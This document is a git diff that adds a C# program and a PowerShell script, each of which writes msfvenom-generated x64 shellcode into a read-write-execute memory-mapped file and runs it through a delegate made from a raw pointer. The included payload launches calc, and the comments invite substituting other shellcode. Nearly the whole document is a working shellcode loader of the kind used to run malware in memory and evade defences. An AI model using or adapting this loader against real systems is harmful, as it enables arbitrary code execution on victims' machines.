diff --git a/mmffml.cs b/mmffml.cs new file mode 100644 index 0000000..f43f121 --- /dev/null +++ b/mmffml.cs @@ -0,0 +1,75 @@ +namespace mmfExeTwo +{ + using System; + using System.IO.MemoryMappedFiles; + using System.Runtime.InteropServices; + + class Program + { + + private delegate IntPtr NewDelegate(); + + // To handle the location by applying the appropriate type + // We had to create a delegate to handle the the pointer to the location where we shim in the shellcode + // into the Memory Mapped File. This allows the location of the opp code to be referenced later for execution + private unsafe static IntPtr GetShellMemAddr() + { + // 64bit shell code. Tested on a win10 system. Injects "cmd -k calc" + // was generated vanilla using "msfvenom -p windows/exec CMD="cmd /k calc" EXITFUNC=thread C -f powershell" + var shellcode = new byte[] + { + 0xfc,0x48,0x83,0xe4,0xf0,0xe8,0xc0,0x00,0x00,0x00,0x41,0x51,0x41,0x50,0x52,0x51, + 0x56,0x48,0x31,0xd2,0x65,0x48,0x8b,0x52,0x60,0x48,0x8b,0x52,0x18,0x48,0x8b,0x52, + 0x20,0x48,0x8b,0x72,0x50,0x48,0x0f,0xb7,0x4a,0x4a,0x4d,0x31,0xc9,0x48,0x31,0xc0, + 0xac,0x3c,0x61,0x7c,0x02,0x2c,0x20,0x41,0xc1,0xc9,0x0d,0x41,0x01,0xc1,0xe2,0xed, + 0x52,0x41,0x51,0x48,0x8b,0x52,0x20,0x8b,0x42,0x3c,0x48,0x01,0xd0,0x8b,0x80,0x88, + 0x00,0x00,0x00,0x48,0x85,0xc0,0x74,0x67,0x48,0x01,0xd0,0x50,0x8b,0x48,0x18,0x44, + 0x8b,0x40,0x20,0x49,0x01,0xd0,0xe3,0x56,0x48,0xff,0xc9,0x41,0x8b,0x34,0x88,0x48, + 0x01,0xd6,0x4d,0x31,0xc9,0x48,0x31,0xc0,0xac,0x41,0xc1,0xc9,0x0d,0x41,0x01,0xc1, + 0x38,0xe0,0x75,0xf1,0x4c,0x03,0x4c,0x24,0x08,0x45,0x39,0xd1,0x75,0xd8,0x58,0x44, + 0x8b,0x40,0x24,0x49,0x01,0xd0,0x66,0x41,0x8b,0x0c,0x48,0x44,0x8b,0x40,0x1c,0x49, + 0x01,0xd0,0x41,0x8b,0x04,0x88,0x48,0x01,0xd0,0x41,0x58,0x41,0x58,0x5e,0x59,0x5a, + 0x41,0x58,0x41,0x59,0x41,0x5a,0x48,0x83,0xec,0x20,0x41,0x52,0xff,0xe0,0x58,0x41, + 0x59,0x5a,0x48,0x8b,0x12,0xe9,0x57,0xff,0xff,0xff,0x5d,0x48,0xba,0x01,0x00,0x00, + 0x00,0x00,0x00,0x00,0x00,0x48,0x8d,0x8d,0x01,0x01,0x00,0x00,0x41,0xba,0x31,0x8b, + 0x6f,0x87,0xff,0xd5,0xbb,0xe0,0x1d,0x2a,0x0a,0x41,0xba,0xa6,0x95,0xbd,0x9d,0xff, + 0xd5,0x48,0x83,0xc4,0x28,0x3c,0x06,0x7c,0x0a,0x80,0xfb,0xe0,0x75,0x05,0xbb,0x47, + 0x13,0x72,0x6f,0x6a,0x00,0x59,0x41,0x89,0xda,0xff,0xd5,0x63,0x61,0x6c,0x63,0x00 + }; + + MemoryMappedFile mmf = null; + MemoryMappedViewAccessor viewaccessor = null; + + try + { + /* The try block creates the MMF and assigns the RWE permissions + The view accessor is created with matching permissions + the shell code from GetShellMemAddr is written to MMF + then the pointer is gained and a delegate is created to handle pointer value + so that it can be passed in therms of the returned function */ + + mmf = MemoryMappedFile.CreateNew("__shellcode", shellcode.Length, MemoryMappedFileAccess.ReadWriteExecute); + viewaccessor = mmf.CreateViewAccessor(0, shellcode.Length, MemoryMappedFileAccess.ReadWriteExecute); + viewaccessor.WriteArray(0, shellcode, 0, shellcode.Length); + var pointer = (byte*)0; + viewaccessor.SafeMemoryMappedViewHandle.AcquirePointer(ref pointer); + var func = (NewDelegate)Marshal.GetDelegateForFunctionPointer(new IntPtr(pointer), typeof(NewDelegate)); + return func(); + } + catch + { + return IntPtr.Zero; + } + finally // You should always clean up after yourself :) + { + viewaccessor.Dispose(); + mmf.Dispose(); + } + } + + static void Main(string[] args) + { + GetShellMemAddr(); + } + } +} \ No newline at end of file diff --git a/mmfml.ps1 b/mmfml.ps1 new file mode 100644 index 0000000..00de291 --- /dev/null +++ b/mmfml.ps1 @@ -0,0 +1,75 @@ +function Get-DelegateType # Canabalised from @harmj0y. THANKS! +{ + Param + ( + [OutputType([Type])] + + [Parameter( Position = 0)] + [Type[]] + $Parameters = (New-Object Type[](0)), + + [Parameter( Position = 1 )] + [Type] + $ReturnType = [Void] + ) + + $Domain = [AppDomain]::CurrentDomain + $DynAssembly = New-Object System.Reflection.AssemblyName('ReflectedDelegate') + $AssemblyBuilder = $Domain.DefineDynamicAssembly($DynAssembly, [System.Reflection.Emit.AssemblyBuilderAccess]::Run) + $ModuleBuilder = $AssemblyBuilder.DefineDynamicModule('InMemoryModule', $false) + $TypeBuilder = $ModuleBuilder.DefineType('MyDelegateType', 'Class, Public, Sealed, AnsiClass, AutoClass', [System.MulticastDelegate]) + $ConstructorBuilder = $TypeBuilder.DefineConstructor('RTSpecialName, HideBySig, Public', [System.Reflection.CallingConventions]::Standard, $Parameters) + $ConstructorBuilder.SetImplementationFlags('Runtime, Managed') + $MethodBuilder = $TypeBuilder.DefineMethod('Invoke', 'Public, HideBySig, NewSlot, Virtual', $ReturnType, $Parameters) + $MethodBuilder.SetImplementationFlags('Runtime, Managed') + + Write-Output $TypeBuilder.CreateType() +} + +$enc = [System.Text.Encoding]::UTF8 #using UTF8 means bytewise translation is 1:1 for size. + +# Stack alignment +$shellcode = [byte[]] @(0x41,0x54,0x41,0x55,0x41,0x56,0x41,0x57, + 0x55,0xE8,0x0D,0x00,0x00,0x00,0x5D,0x41, + 0x5F,0x41,0x5E,0x41,0x5D,0x41,0x5C,0x48, + 0x31,0xC0,0xC3) + +# This shellcode was created using - msfvenom -p windows/x64/exec CMD="cmd.exe -c calc.exe" -f powershell - use your own shell to modify the behavior +$shellcodeadd = [byte[]] @(0xfc,0x48,0x83,0xe4,0xf0,0xe8,0xc0,0x00,0x00,0x00,0x41,0x51,0x41,0x50,0x52,0x51, + 0x56,0x48,0x31,0xd2,0x65,0x48,0x8b,0x52,0x60,0x48,0x8b,0x52,0x18,0x48,0x8b,0x52, + 0x20,0x48,0x8b,0x72,0x50,0x48,0x0f,0xb7,0x4a,0x4a,0x4d,0x31,0xc9,0x48,0x31,0xc0, + 0xac,0x3c,0x61,0x7c,0x02,0x2c,0x20,0x41,0xc1,0xc9,0x0d,0x41,0x01,0xc1,0xe2,0xed, + 0x52,0x41,0x51,0x48,0x8b,0x52,0x20,0x8b,0x42,0x3c,0x48,0x01,0xd0,0x8b,0x80,0x88, + 0x00,0x00,0x00,0x48,0x85,0xc0,0x74,0x67,0x48,0x01,0xd0,0x50,0x8b,0x48,0x18,0x44, + 0x8b,0x40,0x20,0x49,0x01,0xd0,0xe3,0x56,0x48,0xff,0xc9,0x41,0x8b,0x34,0x88,0x48, + 0x01,0xd6,0x4d,0x31,0xc9,0x48,0x31,0xc0,0xac,0x41,0xc1,0xc9,0x0d,0x41,0x01,0xc1, + 0x38,0xe0,0x75,0xf1,0x4c,0x03,0x4c,0x24,0x08,0x45,0x39,0xd1,0x75,0xd8,0x58,0x44, + 0x8b,0x40,0x24,0x49,0x01,0xd0,0x66,0x41,0x8b,0x0c,0x48,0x44,0x8b,0x40,0x1c,0x49, + 0x01,0xd0,0x41,0x8b,0x04,0x88,0x48,0x01,0xd0,0x41,0x58,0x41,0x58,0x5e,0x59,0x5a, + 0x41,0x58,0x41,0x59,0x41,0x5a,0x48,0x83,0xec,0x20,0x41,0x52,0xff,0xe0,0x58,0x41, + 0x59,0x5a,0x48,0x8b,0x12,0xe9,0x57,0xff,0xff,0xff,0x5d,0x48,0xba,0x01,0x00,0x00, + 0x00,0x00,0x00,0x00,0x00,0x48,0x8d,0x8d,0x01,0x01,0x00,0x00,0x41,0xba,0x31,0x8b, + 0x6f,0x87,0xff,0xd5,0xbb,0xe0,0x1d,0x2a,0x0a,0x41,0xba,0xa6,0x95,0xbd,0x9d,0xff, + 0xd5,0x48,0x83,0xc4,0x28,0x3c,0x06,0x7c,0x0a,0x80,0xfb,0xe0,0x75,0x05,0xbb,0x47, + 0x13,0x72,0x6f,0x6a,0x00,0x59,0x41,0x89,0xda,0xff,0xd5,0x63,0x61,0x6c,0x63,0x00) +$shellcode += $shellcodeadd +#Add RET to attempt to prevent Powershell from crashing when exiting +#Need to find current EIP and place that at the end of current shellcode with a RET call... potentially. +$shellcode += [byte[]]@(0xC3) + +[System.IO.MemoryMappedFiles.MemoryMappedFile]$mmfml = [System.IO.MemoryMappedFiles.MemoryMappedFile]::CreateNew([string]'exe', [long]$shellcodeadd.length, +[System.IO.MemoryMappedFiles.MemoryMappedFileAccess]::ReadWriteExecute, [System.IO.MemoryMappedFiles.MemoryMappedFileOptions]::None, +[System.IO.MemoryMappedFiles.MemoryMappedFileSecurity]::new(), [System.IO.HandleInheritability]::Inheritable) +$view = $mmfml.CreateViewStream(0,0) +$view.Write($shellcode, 0,$shellcode.length) +$t = New-Object System.IO.StreamReader($view) #debugging so i can check contents of stream without using $view.basestream.readtoend() +$view.Position = 0 +$acc = $mmfml.CreateViewAccessor(0,0, [System.IO.MemoryMappedFiles.MemoryMappedFileAccess]::ReadWriteExecute) +$memhandle = $acc.SafeMemoryMappedViewHandle.DangerousGetHandle() +#returns shellcode memory location... +Write-Host "Executing payload at:" +Write-Host 0x$($memhandle.ToString("X$([IntPtr]::Size*2)"))"" +#Build a Delegate & Invoke from Pointer +$ByRefDelegate = Get-DelegateType @([IntPtr].MakeByRefType()) ([Void]) +$ByRef = [System.Runtime.InteropServices.Marshal]::GetDelegateForFunctionPointer($memhandle, $ByRefDelegate) +$ByRef.Invoke([ref]$memhandle) \ No newline at end of file